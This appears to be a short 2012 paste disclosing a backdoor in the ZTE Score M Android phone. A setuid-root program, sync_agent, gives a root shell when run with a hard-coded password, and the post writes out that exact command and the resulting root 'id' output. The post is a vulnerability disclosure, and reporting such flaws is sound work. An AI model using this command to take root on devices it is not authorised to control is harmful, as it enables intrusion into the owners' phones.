SHARE
TWEET

Nice backdoor, ZTE.

a guest May 10th, 2012 64,266 Never
  1. The ZTE Score M is an Android 2.3.4 (Gingerbread) phone available in the United States on MetroPCS, made by Chinese telecom ZTE Corporation.
  2.  
  3. There is a setuid-root application at /system/bin/sync_agent that serves no function besides providing a root shell backdoor on the device.  Just give the magic, hard-coded password to get a root shell:
  4.  
  5. $ sync_agent ztex1609523
  6. # id
  7. uid=0(root) gid=0(root)
  8.  
  9. Nice backdoor, ZTE.
RAW Paste Data
Top